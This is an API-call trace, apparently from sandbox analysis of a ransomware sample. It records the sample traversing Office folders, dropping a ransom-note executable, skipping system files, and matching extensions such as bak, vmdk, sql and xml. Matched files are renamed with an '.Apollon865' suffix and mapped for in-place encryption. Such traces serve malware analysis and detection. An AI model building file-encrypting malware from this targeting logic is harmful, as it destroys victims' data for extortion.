	[0076.208] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0076.208] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1452) returned 1
	[0076.208] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3490020
	[0076.209] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0076.209] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0076.209] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0076.209] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0076.209] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0076.210] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8b0, lpName=0x0) returned 0x118
	[0076.211] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8b0) returned 0x100000
	[0076.212] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0076.212] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0076.212] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0076.212] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0076.212] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0076.212] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0076.213] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0076.213] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0076.213] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0076.213] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0076.213] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0076.213] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0076.213] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0076.213] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0076.213] CloseHandle (hObject=0x118) returned 1
	[0076.213] CloseHandle (hObject=0x15c) returned 1
	[0076.213] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0076.213] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0076.213] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3490020 | out: hHeap=0x580000) returned 1
	[0076.213] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee803530, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfd67f150, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee803530, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0
	[0076.214] FindClose (in: hFindFile=0x5ca390 | out: hFindFile=0x5ca390) returned 1
	[0076.214] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7cb0
	[0076.214] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us"
	[0076.214] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c1458 | out: hHeap=0x580000) returned 1
	[0076.214] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ca8 | out: hHeap=0x580000) returned 1
	[0076.214] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us") returned 91
	[0076.214] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us"
	[0076.214] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0076.214] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0076.219] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0076.219] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x458010d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x458010d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0076.219] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.219] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0076.219] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0076.219] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa64b3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x458010d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x458010d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0076.219] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.219] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0076.219] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0076.219] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0076.219] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa64b3d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ExcelMUI.XML", cAlternateFileName="")) returned 1
	[0076.219] lstrcmpiW (lpString1="ExcelMUI.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0076.219] lstrcmpiW (lpString1="ExcelMUI.XML", lpString2="Apollon865.txt.exe") returned 1
	[0076.219] lstrcmpiW (lpString1="ExcelMUI.XML", lpString2=".") returned 1
	[0076.219] lstrcmpiW (lpString1="ExcelMUI.XML", lpString2="..") returned 1
	[0076.219] lstrcmpiW (lpString1="ExcelMUI.XML", lpString2="windows") returned -1
	[0076.219] lstrcmpiW (lpString1="ExcelMUI.XML", lpString2="bootmgr") returned 1
	[0076.219] lstrcmpiW (lpString1="ExcelMUI.XML", lpString2="temp") returned -1
	[0076.219] lstrcmpiW (lpString1="ExcelMUI.XML", lpString2="pagefile.sys") returned -1
	[0076.219] lstrcmpiW (lpString1="ExcelMUI.XML", lpString2="boot") returned 1
	[0076.220] lstrcmpiW (lpString1="ExcelMUI.XML", lpString2="ids.txt") returned -1
	[0076.220] lstrcmpiW (lpString1="ExcelMUI.XML", lpString2="ntuser.dat") returned -1
	[0076.220] lstrcmpiW (lpString1="ExcelMUI.XML", lpString2="perflogs") returned -1
	[0076.220] lstrcmpiW (lpString1="ExcelMUI.XML", lpString2="MSBuild") returned -1
	[0076.220] lstrlenW (lpString="ExcelMUI.XML") returned 12
	[0076.220] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\*") returned 93
	[0076.220] lstrcpyW (in: lpString1=0x2d3e608, lpString2="ExcelMUI.XML" | out: lpString1="ExcelMUI.XML") returned="ExcelMUI.XML"
	[0076.220] lstrlenW (lpString="ExcelMUI.XML") returned 12
	[0076.220] lstrlenW (lpString="Apollon865") returned 10
	[0076.220] lstrcmpiW (lpString1="celMUI.XML", lpString2="Apollon865") returned 1
	[0076.220] lstrlenW (lpString=".dll") returned 4
	[0076.220] lstrcmpiW (lpString1="ExcelMUI.XML", lpString2=".dll") returned 1
	[0076.220] lstrlenW (lpString=".lnk") returned 4
	[0076.220] lstrcmpiW (lpString1="ExcelMUI.XML", lpString2=".lnk") returned 1
	[0076.220] lstrlenW (lpString=".ini") returned 4
	[0076.220] lstrcmpiW (lpString1="ExcelMUI.XML", lpString2=".ini") returned 1
	[0076.220] lstrlenW (lpString=".sys") returned 4
	[0076.220] lstrcmpiW (lpString1="ExcelMUI.XML", lpString2=".sys") returned 1
	[0076.220] lstrlenW (lpString="ExcelMUI.XML") returned 12
	[0076.220] lstrlenW (lpString="bak") returned 3
	[0076.220] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0076.220] lstrlenW (lpString="ba_") returned 3
	[0076.220] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0076.220] lstrlenW (lpString="dbb") returned 3
	[0076.220] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0076.220] lstrlenW (lpString="vmdk") returned 4
	[0076.220] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0076.220] lstrlenW (lpString="rar") returned 3
	[0076.220] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0076.220] lstrlenW (lpString="zip") returned 3
	[0076.220] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0076.220] lstrlenW (lpString="tgz") returned 3
	[0076.220] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0076.220] lstrlenW (lpString="vbox") returned 4
	[0076.220] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0076.220] lstrlenW (lpString="vdi") returned 3
	[0076.220] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0076.220] lstrlenW (lpString="vhd") returned 3
	[0076.221] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0076.221] lstrlenW (lpString="vhdx") returned 4
	[0076.221] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0076.221] lstrlenW (lpString="avhd") returned 4
	[0076.221] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0076.221] lstrlenW (lpString="db") returned 2
	[0076.221] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0076.221] lstrlenW (lpString="db2") returned 3
	[0076.221] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0076.221] lstrlenW (lpString="db3") returned 3
	[0076.221] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0076.221] lstrlenW (lpString="dbf") returned 3
	[0076.221] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0076.221] lstrlenW (lpString="mdf") returned 3
	[0076.221] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0076.221] lstrlenW (lpString="mdb") returned 3
	[0076.221] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0076.221] lstrlenW (lpString="sql") returned 3
	[0076.221] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0076.221] lstrlenW (lpString="sqlite") returned 6
	[0076.221] lstrcmpiW (lpString1="UI.XML", lpString2="sqlite") returned 1
	[0076.221] lstrlenW (lpString="sqlite3") returned 7
	[0076.221] lstrcmpiW (lpString1="MUI.XML", lpString2="sqlite3") returned -1
	[0076.221] lstrlenW (lpString="sqlitedb") returned 8
	[0076.221] lstrcmpiW (lpString1="lMUI.XML", lpString2="sqlitedb") returned -1
	[0076.221] lstrlenW (lpString="xml") returned 3
	[0076.221] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0076.221] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.Apollon865") returned 115
	[0076.221] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml.apollon865"), dwFlags=0x1) returned 1
	[0076.224] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\excelmui.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0076.224] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1565) returned 1
	[0076.224] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3490020
	[0076.224] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0076.224] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0076.224] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0076.225] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0076.225] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0076.225] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x920, lpName=0x0) returned 0x118
	[0076.226] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x920) returned 0x100000
	[0076.227] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0076.228] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0076.228] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0076.228] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0076.228] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0076.228] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0076.228] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0076.228] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0076.228] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0076.228] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0076.228] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0076.228] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0076.228] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0076.228] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0076.228] CloseHandle (hObject=0x118) returned 1
	[0076.229] CloseHandle (hObject=0xc0) returned 1
	[0076.229] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0076.229] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf700 | out: hHeap=0x580000) returned 1
	[0076.229] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3490020 | out: hHeap=0x580000) returned 1
	[0076.229] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x458010d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x458010d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0076.229] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0076.229] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee38cbf0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa671530, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0076.229] lstrcmpiW (lpString1="SETUP.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.229] lstrcmpiW (lpString1="SETUP.XML", lpString2="Apollon865.txt.exe") returned 1
	[0076.229] lstrcmpiW (lpString1="SETUP.XML", lpString2=".") returned 1
	[0076.229] lstrcmpiW (lpString1="SETUP.XML", lpString2="..") returned 1
	[0076.229] lstrcmpiW (lpString1="SETUP.XML", lpString2="windows") returned -1
	[0076.229] lstrcmpiW (lpString1="SETUP.XML", lpString2="bootmgr") returned 1
	[0076.229] lstrcmpiW (lpString1="SETUP.XML", lpString2="temp") returned -1
	[0076.229] lstrcmpiW (lpString1="SETUP.XML", lpString2="pagefile.sys") returned 1
	[0076.229] lstrcmpiW (lpString1="SETUP.XML", lpString2="boot") returned 1
	[0076.229] lstrcmpiW (lpString1="SETUP.XML", lpString2="ids.txt") returned 1
	[0076.229] lstrcmpiW (lpString1="SETUP.XML", lpString2="ntuser.dat") returned 1
	[0076.229] lstrcmpiW (lpString1="SETUP.XML", lpString2="perflogs") returned 1
	[0076.229] lstrcmpiW (lpString1="SETUP.XML", lpString2="MSBuild") returned 1
	[0076.229] lstrlenW (lpString="SETUP.XML") returned 9
	[0076.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\ExcelMUI.XML") returned 104
	[0076.229] lstrcpyW (in: lpString1=0x2d3e608, lpString2="SETUP.XML" | out: lpString1="SETUP.XML") returned="SETUP.XML"
	[0076.229] lstrlenW (lpString="SETUP.XML") returned 9
	[0076.229] lstrlenW (lpString="Apollon865") returned 10
	[0076.229] lstrlenW (lpString=".dll") returned 4
	[0076.229] lstrcmpiW (lpString1="SETUP.XML", lpString2=".dll") returned 1
	[0076.229] lstrlenW (lpString=".lnk") returned 4
	[0076.229] lstrcmpiW (lpString1="SETUP.XML", lpString2=".lnk") returned 1
	[0076.229] lstrlenW (lpString=".ini") returned 4
	[0076.229] lstrcmpiW (lpString1="SETUP.XML", lpString2=".ini") returned 1
	[0076.230] lstrlenW (lpString=".sys") returned 4
	[0076.230] lstrcmpiW (lpString1="SETUP.XML", lpString2=".sys") returned 1
	[0076.230] lstrlenW (lpString="SETUP.XML") returned 9
	[0076.230] lstrlenW (lpString="bak") returned 3
	[0076.230] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0076.230] lstrlenW (lpString="ba_") returned 3
	[0076.230] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0076.230] lstrlenW (lpString="dbb") returned 3
	[0076.230] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0076.230] lstrlenW (lpString="vmdk") returned 4
	[0076.230] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0076.230] lstrlenW (lpString="rar") returned 3
	[0076.230] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0076.230] lstrlenW (lpString="zip") returned 3
	[0076.230] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0076.230] lstrlenW (lpString="tgz") returned 3
	[0076.230] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0076.230] lstrlenW (lpString="vbox") returned 4
	[0076.230] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0076.230] lstrlenW (lpString="vdi") returned 3
	[0076.230] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0076.230] lstrlenW (lpString="vhd") returned 3
	[0076.230] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0076.230] lstrlenW (lpString="vhdx") returned 4
	[0076.230] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0076.230] lstrlenW (lpString="avhd") returned 4
	[0076.230] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0076.230] lstrlenW (lpString="db") returned 2
	[0076.230] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0076.230] lstrlenW (lpString="db2") returned 3
	[0076.230] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0076.230] lstrlenW (lpString="db3") returned 3
	[0076.230] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0076.230] lstrlenW (lpString="dbf") returned 3
	[0076.230] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0076.230] lstrlenW (lpString="mdf") returned 3
	[0076.230] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0076.230] lstrlenW (lpString="mdb") returned 3
	[0076.231] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0076.231] lstrlenW (lpString="sql") returned 3
	[0076.231] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0076.231] lstrlenW (lpString="sqlite") returned 6
	[0076.231] lstrcmpiW (lpString1="UP.XML", lpString2="sqlite") returned 1
	[0076.231] lstrlenW (lpString="sqlite3") returned 7
	[0076.231] lstrcmpiW (lpString1="TUP.XML", lpString2="sqlite3") returned 1
	[0076.231] lstrlenW (lpString="sqlitedb") returned 8
	[0076.231] lstrcmpiW (lpString1="ETUP.XML", lpString2="sqlitedb") returned -1
	[0076.231] lstrlenW (lpString="xml") returned 3
	[0076.231] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0076.231] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.Apollon865") returned 112
	[0076.231] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml.apollon865"), dwFlags=0x1) returned 1
	[0076.234] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Excel.en-us\\SETUP.XML.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\excel.en-us\\setup.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0076.234] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=2296) returned 1
	[0076.234] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3490020
	[0076.234] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa88
	[0076.234] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf700
	[0076.234] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf788) returned 1
	[0076.235] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0076.235] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0076.235] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc00, lpName=0x0) returned 0x118
	[0076.237] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc00) returned 0x100000
	[0076.237] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf788) returned 1
	[0076.238] CryptGenRandom (in: hProv=0x5bf788, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0076.238] CryptReleaseContext (hProv=0x5bf788, dwFlags=0x0) returned 1
	[0076.238] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
